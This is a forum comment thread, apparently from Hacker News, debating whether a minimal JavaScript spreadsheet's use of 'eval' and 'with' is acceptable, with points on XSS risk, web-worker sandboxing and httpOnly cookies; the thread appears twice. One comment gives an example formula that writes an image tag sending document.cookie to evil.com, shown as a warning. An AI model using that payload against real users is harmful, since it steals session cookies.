5 ms·

Using both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -

Using both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s http://youtu.be/hQVTIJBZook?t=13m30s Are these statements still true ?

ondras 13y ago
Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
ben336 13y ago
Yes. They're generally performance and reading nightmares. But this is a very clever usage.
jcampbell1 13y ago
Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
- aufreak3 13y ago
  Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?
  - jcampbell1 13y ago
    Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin. It seems like that would be somewhat XSS safe since you are just passing strings back and forth. I really like this idea. evalSafeAsync(code,context,callback) That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
    - aboodman 13y ago
      Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.
- genericacct 13y ago
  you can use httpOnly cookies and they will not be accessible via javascript.
dmethvin 13y ago
There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.
wwweston 13y ago
At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language. You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls. That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil. Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple. They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.

ondras 13y ago

Somewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.

ben336 13y ago

Yes. They're generally performance and reading nightmares. But this is a very clever usage.

jcampbell1 13y ago

Yes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT

aufreak3 13y ago
Doing this all in a webworker might be one way to get security - by sandboxing the with/eval?
- jcampbell1 13y ago
  Possibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin. It seems like that would be somewhat XSS safe since you are just passing strings back and forth. I really like this idea. evalSafeAsync(code,context,callback) That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
  - aboodman 13y ago
    Script evaluated in a web worker would still have access to your application's cookies and would be able to interact with the server with the user's credentials. You probably don't want that.
genericacct 13y ago
you can use httpOnly cookies and they will not be accessible via javascript.

dmethvin 13y ago

There aren't a lot of good reasons to use `eval` and `with` in production JavaScript. Two wrongs don't make a right, even when you use them on the same line of code.

wwweston 13y ago

At a general level, the recommendation to avoid `eval` and `with` is worth heeding, particularly for people who are new to the language. You need to be familiar with how `with` handles some ambiguous cases in order to use it effectively and safely, `eval` can have some security and performance gotchas. And usually there are other ways to do many of the things you can do with either of them that don't have those pitfalls. That said, I think the recommendation got out of control -- we have this bad habit of collapsing studies of problems with something into blanket declarations that they're evil. Here we've got a demo/proof of concept where one of the key constraints going in was code size and using only native facilities. `eval` is saving the developer from writing a parser/expression evaluator, `with` makes it easy to use `eval` while keeping the data in a limited scope. A bigger spreadsheet app would have its own expression evaluator that uses, but using them here makes sense to keep things simple. They also occasionally make sense in other contexts. Just make sure you really understand the problems involved and have strongly considered other options before you break them out.